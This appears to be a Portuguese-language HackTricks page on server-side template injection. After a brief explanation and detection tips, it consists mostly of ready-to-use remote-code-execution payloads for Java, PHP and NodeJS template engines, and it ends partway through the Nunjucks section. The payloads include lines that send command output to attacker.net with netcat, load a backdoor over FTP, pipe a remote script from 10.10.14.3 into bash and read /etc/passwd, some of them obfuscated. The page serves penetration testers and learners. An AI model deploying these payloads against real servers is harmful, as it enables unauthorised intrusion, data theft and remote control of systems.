# SSTI (Server Side Template Injection) {% hint style="success" %} Aprenda e pratique Hacking na AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ Aprenda e pratique Hacking no GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! * **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
{% endhint %}
[**RootedCON**](https://www.rootedcon.com) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas. {% embed url="https://www.rootedcon.com/" %} ## O que é SSTI (Server-Side Template Injection) A injeção de template do lado do servidor é uma vulnerabilidade que ocorre quando um atacante pode injetar código malicioso em um template que é executado no servidor. Essa vulnerabilidade pode ser encontrada em várias tecnologias, incluindo Jinja. Jinja é um mecanismo de template popular usado em aplicações web. Vamos considerar um exemplo que demonstra um trecho de código vulnerável usando Jinja: ```python output = template.render(name=request.args.get('name')) ``` Neste código vulnerável, o parâmetro `name` da solicitação do usuário é passado diretamente para o template usando a função `render`. Isso pode potencialmente permitir que um atacante injete código malicioso no parâmetro `name`, levando a uma injeção de template do lado do servidor. Por exemplo, um atacante poderia criar uma solicitação com um payload como este: ``` http://vulnerable-website.com/?name={{bad-stuff-here}} ``` O payload `{{bad-stuff-here}}` é injetado no parâmetro `name`. Este payload pode conter diretivas de template Jinja que permitem ao atacante executar código não autorizado ou manipular o mecanismo de template, potencialmente ganhando controle sobre o servidor. Para prevenir vulnerabilidades de injeção de template do lado do servidor, os desenvolvedores devem garantir que a entrada do usuário seja devidamente sanitizada e validada antes de ser inserida nos templates. Implementar validação de entrada e usar técnicas de escape sensíveis ao contexto pode ajudar a mitigar o risco dessa vulnerabilidade. ### Detecção Para detectar Injeção de Template do Lado do Servidor (SSTI), inicialmente, **fuzzing do template** é uma abordagem simples. Isso envolve injetar uma sequência de caracteres especiais (**`${{<%[%'"}}%\`**) no template e analisar as diferenças na resposta do servidor a dados regulares em comparação com este payload especial. Indicadores de vulnerabilidade incluem: * Erros lançados, revelando a vulnerabilidade e potencialmente o mecanismo de template. * Ausência do payload na reflexão, ou partes dele faltando, implicando que o servidor o processa de forma diferente de dados regulares. * **Contexto de Texto Simples**: Distinguir de XSS verificando se o servidor avalia expressões de template (por exemplo, `{{7*7}}`, `${7*7}`). * **Contexto de Código**: Confirmar a vulnerabilidade alterando parâmetros de entrada. Por exemplo, mudando `greeting` em `http://vulnerable-website.com/?greeting=data.username` para ver se a saída do servidor é dinâmica ou fixa, como em `greeting=data.username}}hello` retornando o nome de usuário. #### Fase de Identificação Identificar o mecanismo de template envolve analisar mensagens de erro ou testar manualmente vários payloads específicos de linguagem. Payloads comuns que causam erros incluem `${7/0}`, `{{7/0}}` e `<%= 7/0 %>`. Observar a resposta do servidor a operações matemáticas ajuda a identificar o mecanismo de template específico. ## Ferramentas ### [TInjA](https://github.com/Hackmanit/TInjA) um scanner SSTI + CSTI eficiente que utiliza poliglotas inovadores. ```bash tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..." tinja url -u "http://example.com/" -d "username=Kirlia" -c "PHPSESSID=ABC123..." ``` ### [SSTImap](https://github.com/vladko312/sstimap) ```bash python3 sstimap.py -i -l 5 python3 sstimap.py -u "http://example.com/" --crawl 5 --forms python3 sstimap.py -u "https://example.com/page?name=John" -s ``` ### [Tplmap](https://github.com/epinna/tplmap) ```python python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link" python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade ``` ### [Template Injection Table](https://github.com/Hackmanit/template-injection-table) uma tabela interativa contendo os poliglotas de injeção de template mais eficientes, juntamente com as respostas esperadas dos 44 motores de template mais importantes. ## Exploits ### Genérico Nesta **wordlist** você pode encontrar **variáveis definidas** nos ambientes de alguns dos motores mencionados abaixo: * [https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/template-engines-special-vars.txt) * [https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt](https://github.com/danielmiessler/SecLists/blob/25d4ac447efb9e50b640649f1a09023e280e5c9c/Discovery/Web-Content/burp-parameter-names.txt) ### Java **Java - Injeção básica** ```java ${7*7} ${{7*7}} ${class.getClassLoader()} ${class.getResource("").getPath()} ${class.getResource("../../../../../index.htm").getContent()} // if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}. ``` **Java - Recuperar as variáveis de ambiente do sistema** ```java ${T(java.lang.System).getenv()} ``` **Java - Recuperar /etc/passwd** ```java ${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')} ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} ``` ### FreeMarker (Java) Você pode testar seus payloads em [https://try.freemarker.apache.org](https://try.freemarker.apache.org) * `{{7*7}} = {{7*7}}` * `${7*7} = 49` * `#{7*7} = 49 -- (legado)` * `${7*'7'} Nada` * `${foobar}` ```java <#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")} [#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')} ${"freemarker.template.utility.Execute"?new()("id")} ${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")} ``` **Freemarker - Bypass de sandbox** ⚠️ funciona apenas em versões do Freemarker abaixo de 2.3.30 ```java <#assign classloader=article.class.protectionDomain.classLoader> <#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")> <#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)> <#assign ec=classloader.loadClass("freemarker.template.utility.Execute")> ${dwf.newInstance(ec,null)("id")} ``` **Mais informações** * Na seção FreeMarker de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#freemarker) ### Velocity (Java) ```java // I think this doesn't work #set($str=$class.inspect("java.lang.String").type) #set($chr=$class.inspect("java.lang.Character").type) #set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami")) $ex.waitFor() #set($out=$ex.getInputStream()) #foreach($i in [1..$out.available()]) $str.valueOf($chr.toChars($out.read())) #end // This should work? #set($s="") #set($stringClass=$s.getClass()) #set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime()) #set($process=$runtime.exec("cat%20/flag563378e453.txt")) #set($out=$process.getInputStream()) #set($null=$process.waitFor() ) #foreach($i+in+[1..$out.available()]) $out.read() #end ``` **Mais informações** * Na seção Velocity de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#velocity) ### Thymeleaf No Thymeleaf, um teste comum para vulnerabilidades SSTI é a expressão `${7*7}`, que também se aplica a este mecanismo de template. Para potencial execução remota de código, expressões como as seguintes podem ser usadas: * SpringEL: ```java ${T(java.lang.Runtime).getRuntime().exec('calc')} ``` * OGNL: ```java ${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")} ``` Thymeleaf requer que essas expressões sejam colocadas dentro de atributos específicos. No entanto, _inlining de expressões_ é suportado para outros locais de template, usando sintaxe como `[[...]]` ou `[(...)]`. Assim, um simples payload de teste SSTI pode parecer `[[${7*7}]]`. No entanto, a probabilidade de esse payload funcionar é geralmente baixa. A configuração padrão do Thymeleaf não suporta geração dinâmica de templates; os templates devem ser predefinidos. Os desenvolvedores precisariam implementar seu próprio `TemplateResolver` para criar templates a partir de strings em tempo real, o que é incomum. Thymeleaf também oferece _pré-processamento de expressões_, onde expressões dentro de sublinhados duplos (`__...__`) são pré-processadas. Esse recurso pode ser utilizado na construção de expressões, como demonstrado na documentação do Thymeleaf: ```java #{selection.__${sel.code}__} ``` **Exemplo de Vulnerabilidade no Thymeleaf** Considere o seguinte trecho de código, que pode ser suscetível a exploração: ```xml ``` Isso indica que, se o mecanismo de template processar essas entradas de forma inadequada, isso pode levar à execução remota de código acessando URLs como: ``` http://localhost:8082/(7*7) http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')}) ``` **Mais informações** * [https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/](https://www.acunetix.com/blog/web-security-zone/exploiting-ssti-in-thymeleaf/) {% content-ref url="el-expression-language.md" %} [el-expression-language.md](el-expression-language.md) {% endcontent-ref %} ### Spring Framework (Java) ```java *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())} ``` **Bypass filters** Múltiplas expressões de variável podem ser usadas, se `${...}` não funcionar, tente `#{...}`, `*{...}`, `@{...}` ou `~{...}`. * Leia `/etc/passwd` ```java ${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())} ``` * Script personalizado para geração de payloads ```python #!/usr/bin/python3 ## Written By Zeyad Abulaban (zAbuQasem) # Usage: python3 gen.py "id" from sys import argv cmd = list(argv[1].strip()) print("Payload: ", cmd , end="\n\n") converted = [ord(c) for c in cmd] base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec' end_payload = '.getInputStream())}' count = 1 for i in converted: if count == 1: base_payload += f"(T(java.lang.Character).toString({i}).concat" count += 1 elif count == len(converted): base_payload += f"(T(java.lang.Character).toString({i})))" else: base_payload += f"(T(java.lang.Character).toString({i})).concat" count += 1 print(base_payload + end_payload) ``` **Mais Informações** * [Thymleaf SSTI](https://javamana.com/2021/11/20211121071046977B.html) * [Payloads all the things](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#java---retrieve-etcpasswd) ### Manipulação de Visualização Spring (Java) ```java __${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x __${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x ``` * [https://github.com/veracode-research/spring-view-manipulation](https://github.com/veracode-research/spring-view-manipulation) {% content-ref url="el-expression-language.md" %} [el-expression-language.md](el-expression-language.md) {% endcontent-ref %} ### Pebble (Java) * `{{ someString.toUPPERCASE() }}` Versão antiga do Pebble ( < versão 3.0.9): ```java {{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }} ``` Nova versão do Pebble: ```java {% raw %} {% set cmd = 'id' %} {% endraw %} {% set bytes = (1).TYPE .forName('java.lang.Runtime') .methods[6] .invoke(null,null) .exec(cmd) .inputStream .readAllBytes() %} {{ (1).TYPE .forName('java.lang.String') .constructors[0] .newInstance(([bytes]).toArray()) }} ``` ### Jinjava (Java) ```java {{'a'.toUpperCase()}} would result in 'A' {{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206 ``` Jinjava é um projeto de código aberto desenvolvido pela Hubspot, disponível em [https://github.com/HubSpot/jinjava/](https://github.com/HubSpot/jinjava/) **Jinjava - Execução de comandos** Corrigido por [https://github.com/HubSpot/jinjava/pull/230](https://github.com/HubSpot/jinjava/pull/230) ```java {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} ``` **Mais informações** * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#jinjava) ### Hubspot - HuBL (Java) * Delimitadores de declaração `{% %}` * Delimitadores de expressão `{{ }}` * Delimitadores de comentário `{# #}` * `{{ request }}` - com.hubspot.content.hubl.context.TemplateContextRequest@23548206 * `{{'a'.toUpperCase()}}` - "A" * `{{'a'.concat('b')}}` - "ab" * `{{'a'.getClass()}}` - java.lang.String * `{{request.getClass()}}` - class com.hubspot.content.hubl.context.TemplateContextRequest * `{{request.getClass().getDeclaredMethods()[0]}}` - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug() Pesquise por "com.hubspot.content.hubl.context.TemplateContextRequest" e descubra o [projeto Jinjava no Github](https://github.com/HubSpot/jinjava/). ```java {{request.isDebug()}} //output: False //Using string 'a' to get an instance of class sun.misc.Launcher {{'a'.getClass().forName('sun.misc.Launcher').newInstance()}} //output: sun.misc.Launcher@715537d4 //It is also possible to get a new object of the Jinjava class {{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}} //output: com.hubspot.jinjava.JinjavaConfig@78a56797 //It was also possible to call methods on the created object by combining the {% raw %} {% %} and {{ }} blocks {% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %} {% endraw %} {{ji.render('{{1*2}}')}} //Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}. //{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}} //output: xxx //RCE {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}} //output: java.lang.UNIXProcess@1e5f456e //RCE with org.apache.commons.io.IOUtils. {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} //output: netstat execution //Multiple arguments to the commands Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}} //Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux ``` **Mais informações** * [https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html](https://www.betterhacker.com/2018/12/rce-in-hubspot-with-el-injection-in-hubl.html) ### Expression Language - EL (Java) * `${"aaaa"}` - "aaaa" * `${99999+1}` - 100000. * `#{7*7}` - 49 * `${{7*7}}` - 49 * `${{request}}, ${{session}}, {{faceContext}}` Expression Language (EL) é um recurso fundamental que facilita a interação entre a camada de apresentação (como páginas da web) e a lógica da aplicação (como beans gerenciados) no JavaEE. É amplamente utilizado em várias tecnologias JavaEE para agilizar essa comunicação. As principais tecnologias JavaEE que utilizam EL incluem: * **JavaServer Faces (JSF)**: Emprega EL para vincular componentes nas páginas JSF aos dados e ações correspondentes no backend. * **JavaServer Pages (JSP)**: EL é usado em JSP para acessar e manipular dados dentro das páginas JSP, facilitando a conexão dos elementos da página aos dados da aplicação. * **Contexts and Dependency Injection for Java EE (CDI)**: EL se integra ao CDI para permitir uma interação contínua entre a camada web e os beans gerenciados, garantindo uma estrutura de aplicação mais coerente. Verifique a página a seguir para saber mais sobre a **exploração de interpretadores EL**: {% content-ref url="el-expression-language.md" %} [el-expression-language.md](el-expression-language.md) {% endcontent-ref %} ### Groovy (Java) As seguintes contornadas do Security Manager foram retiradas deste [**writeup**](https://security.humanativaspa.it/groovy-template-engine-exploitation-notes-from-a-real-case-scenario/). ```java //Basic Payload import groovy.*; @groovy.transform.ASTTest(value={ cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net " assert java.lang.Runtime.getRuntime().exec(cmd.split(" ")) }) def x //Payload to get output import groovy.*; @groovy.transform.ASTTest(value={ cmd = "whoami"; out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next() cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net"; java.lang.Runtime.getRuntime().exec(cmd2.split(" ")) }) def x //Other payloads new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x") this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA=="))) this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120})) ```
​​[**RootedCON**](https://www.rootedcon.com/) é o evento de cibersegurança mais relevante na **Espanha** e um dos mais importantes na **Europa**. Com **a missão de promover o conhecimento técnico**, este congresso é um ponto de encontro fervilhante para profissionais de tecnologia e cibersegurança em todas as disciplinas. {% embed url="https://www.rootedcon.com/" %} ## ### Smarty (PHP) ```php {$smarty.version} {php}echo `id`;{/php} //deprecated in smarty v3 {Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"",self::clearConfig())} {system('ls')} // compatible v3 {system('cat index.php')} // compatible v3 ``` **Mais informações** * Na seção Smarty de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#smarty) ### Twig (PHP) * `{{7*7}} = 49` * `${7*7} = ${7*7}` * `{{7*'7'}} = 49` * `{{1/0}} = Error` * `{{foobar}} Nothing` ```python #Get Info {{_self}} #(Ref. to current application) {{_self.env}} {{dump(app)}} {{app.request.server.all|join(',')}} #File read "{{'/etc/passwd'|file_excerpt(1,30)}}"@ #Exec code {{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}} {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}} {{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}} {{['id']|filter('system')}} {{['cat\x20/etc/passwd']|filter('system')}} {{['cat$IFS/etc/passwd']|filter('system')}} {{['id',""]|sort('system')}} #Hide warnings and errors for automatic exploitation {{["error_reporting", "0"]|sort("ini_set")}} ``` **Twig - Formato de template** ```php $output = $twig > render ( 'Dear' . $_GET['custom_greeting'], array("first_name" => $user.first_name) ); $output = $twig > render ( "Dear {first_name}", array("first_name" => $user.first_name) ); ``` **Mais informações** * Na seção Twig e Twig (Sandboxed) de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#twig) ### Plates (PHP) Plates é um mecanismo de template nativo do PHP, inspirado no Twig. No entanto, ao contrário do Twig, que introduz uma nova sintaxe, Plates aproveita o código PHP nativo nos templates, tornando-o intuitivo para desenvolvedores PHP. Controlador: ```php // Create new Plates instance $templates = new League\Plates\Engine('/path/to/templates'); // Render a template echo $templates->render('profile', ['name' => 'Jonathan']); ``` Modelo de página: ```php layout('template', ['title' => 'User Profile']) ?>

User Profile

Hello, e($name)?>

``` Modelo de layout: ```html <?=$this->e($title)?> section('content')?> ``` **Mais informações** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#plates) ### PHPlib e HTML\_Template\_PHPLIB (PHP) [HTML\_Template\_PHPLIB](https://github.com/pear/HTML\_Template\_PHPLIB) é o mesmo que PHPlib, mas portado para Pear. `authors.tpl` ```html {PAGE_TITLE}
Authors
NameEmail
{NUM_AUTHORS}
{AUTHOR_NAME}{AUTHOR_EMAIL}
``` `authors.php` ```php 'cweiske@php.net', 'Bjoern Schotte' => 'schotte@mayflower.de' ); require_once 'HTML/Template/PHPLIB.php'; //create template object $t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep'); //load file $t->setFile('authors', 'authors.tpl'); //set block $t->setBlock('authors', 'authorline', 'authorline_ref'); //set some variables $t->setVar('NUM_AUTHORS', count($authors)); $t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d')); //display the authors foreach ($authors as $name => $email) { $t->setVar('AUTHOR_NAME', $name); $t->setVar('AUTHOR_EMAIL', $email); $t->parse('authorline_ref', 'authorline', true); } //finish and echo echo $t->finish($t->parse('OUT', 'authors')); ?> ``` **Mais informações** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#phplib-and-html\_template\_phplib) ### Jade (NodeJS) ```javascript - var x = root.process - x = x.mainModule.require - x = x('child_process') = x.exec('id | nc attacker.net 80') ``` ```javascript #{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout} ``` **Mais informações** * Na seção Jade de [https://portswigger.net/research/server-side-template-injection](https://portswigger.net/research/server-side-template-injection) * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jade--codepen) ### patTemplate (PHP) > [patTemplate](https://github.com/wernerwa/pat-template) é um mecanismo de template PHP não compilável, que usa tags XML para dividir um documento em diferentes partes ```xml This is the main page. It contains another template. Hello {NAME}.
``` **Mais informações** * [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#pattemplate) ### Handlebars (NodeJS) Path Traversal (mais informações [aqui](https://blog.shoebpatel.com/2021/01/23/The-Secret-Parameter-LFR-and-Potential-RCE-in-NodeJS-Apps/)). ```bash curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/' ``` * \= Erro * ${7\*7} = ${7\*7} * Nada ```java {{#with "s" as |string|}} {{#with "e"}} {{#with split as |conslist|}} {{this.pop}} {{this.push (lookup string.sub "constructor")}} {{this.pop}} {{#with string.split as |codelist|}} {{this.pop}} {{this.push "return require('child_process').exec('whoami');"}} {{this.pop}} {{#each conslist}} {{#with (string.sub.apply 0 codelist)}} {{this}} {{/with}} {{/each}} {{/with}} {{/with}} {{/with}} {{/with}} URLencoded: %7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D ``` **Mais informações** * [http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html](http://mahmoudsec.blogspot.com/2019/04/handlebars-template-injection-and-rce.html) ### JsRender (NodeJS) | **Template** | **Descrição** | | ------------ | -------------------------------------- | | | Avaliar e renderizar saída | | | Avaliar e renderizar saída codificada em HTML | | | Comentário | | e | Permitir código (desativado por padrão) | * \= 49 **Lado do Cliente** ```python {{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}} ``` **Servidor Lado** ```bash {{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}} ``` **Mais informações** * [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/) ### PugJs (NodeJS) * `#{7*7} = 49` * `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}` * `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}` **Exemplo de renderização do lado do servidor** ```javascript var pugjs = require('pug'); home = pugjs.render(injected_page) ``` **Mais informações** * [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/) ### NUNJUCKS (NodeJS)
